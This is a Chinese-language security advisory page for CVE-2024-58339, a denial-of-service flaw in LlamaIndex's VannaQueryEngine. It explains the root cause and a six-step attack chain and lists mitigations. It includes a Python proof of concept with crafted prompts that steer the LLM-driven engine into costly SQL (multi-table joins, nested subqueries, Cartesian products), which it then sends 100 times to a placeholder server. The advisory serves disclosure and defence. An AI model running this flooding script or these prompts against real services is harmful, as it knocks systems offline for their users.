IPBUF安全漏洞报告
English
CVE-2024-58339 CVSS 7.5 高危

CVE-2024-58339 LlamaIndex VannaQueryEngine资源消耗漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2024-58339
漏洞类型
资源消耗/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LlamaIndex (run-llama/llama_index)

相关标签

资源消耗拒绝服务LlamaIndexVannaQueryEngineSQL注入风险高危漏洞CVE-2024-58339AI安全

漏洞概述

CVE-2024-58339是LlamaIndex项目中的一个高危资源消耗漏洞。LlamaIndex是一个广泛应用于AI应用开发的大语言模型数据框架,为开发者提供构建基于LLM应用的能力。该漏洞存在于VannaPack的VannaQueryEngine组件中,影响版本从初始版本到0.12.2。攻击者可以通过构造恶意的用户提示(prompt)触发大量SQL查询操作,由于系统未对查询执行设置资源限制,攻击者能够执行代价高昂或无界限的SQL操作,导致服务器CPU和内存资源被耗尽,最终造成服务不可用的拒绝服务(DoS)状态。在下游部署中,如果允许不受信任的用户提供提示,此漏洞可被利用造成严重的业务中断。

技术细节

漏洞根源位于llama_index/packs/vanna/base.py文件中的custom_query()函数。该函数的设计逻辑是从用户提供的自然语言提示生成SQL语句,然后通过vn.run_sql()方法直接执行生成的SQL查询。问题在于整个执行流程中缺少关键的安全控制机制:1) 未对用户输入的提示进行长度或复杂度限制;2) 未对生成的SQL语句进行语法分析或资源评估;3) 未对SQL执行设置超时或最大行数限制;4) 未实现查询结果缓存或去重机制。攻击者可以构造包含复杂表连接、嵌套子查询或大范围数据扫描的提示,诱导系统生成并执行资源密集型的SQL语句。由于这些操作在服务端执行且缺乏保护,攻击者可以反复发送请求快速耗尽服务器资源。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统是否使用LlamaIndex框架的VannaPack组件,检查公开的API端点或通过错误信息判断
STEP 2
2. 构造恶意提示
攻击者精心构造包含复杂查询意图的自然语言提示,如要求执行多表连接、聚合操作或全表扫描
STEP 3
3. 发送恶意请求
通过VannaQueryEngine的custom_query()端点发送恶意提示,触发SQL生成和执行流程
STEP 4
4. SQL执行无限制
系统生成的SQL语句被直接执行,缺少超时限制、最大行数限制或资源检查机制
STEP 5
5. 资源耗尽
反复发送恶意请求导致服务器CPU和内存资源被大量消耗,服务响应变慢或无响应
STEP 6
6. 拒绝服务
最终目标系统因资源耗尽而无法处理正常用户请求,实现DoS攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2024-58339 PoC - LlamaIndex VannaQueryEngine Resource Exhaustion # Target: LlamaIndex application using VannaPack VannaQueryEngine def exploit_vanna_resource_exhaustion(target_url, malicious_prompt): """ PoC for resource exhaustion via VannaQueryEngine custom_query() This demonstrates how an attacker can trigger unbounded SQL execution """ # Malicious prompts that generate expensive SQL operations malicious_prompts = [ # Trigger full table scan with complex joins "Show me all records from users, orders, products, and inventory tables joined together with aggregate functions", # Trigger nested subqueries "Find all customers who have orders that contain products that are in categories that have subcategories...", # Trigger Cartesian product "Combine every record from all tables together" ] payload = { "prompt": malicious_prompts[0], "session_id": "attacker_session" } # Send repeated requests to exhaust server resources for i in range(100): try: response = requests.post( f"{target_url}/vanna/query", json=payload, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") except requests.exceptions.Timeout: print(f"Request {i+1}: Timeout - Server resource exhaustion likely") break return True # Example usage if __name__ == "__main__": target = "http://vulnerable-llamaindex-server:8000" exploit_vanna_resource_exhaustion(target, "malicious query")

影响范围

LlamaIndex (run-llama/llama_index) <= 0.12.2

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:1) 限制VannaQueryEngine API的访问权限,仅允许受信任的用户使用;2) 在应用层实现请求频率限制,防止短时间内大量请求;3) 监控服务器资源使用情况,设置告警阈值;4) 对用户输入进行严格的输入验证和过滤;5) 考虑暂时禁用VannaPack组件,待官方发布修复版本后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表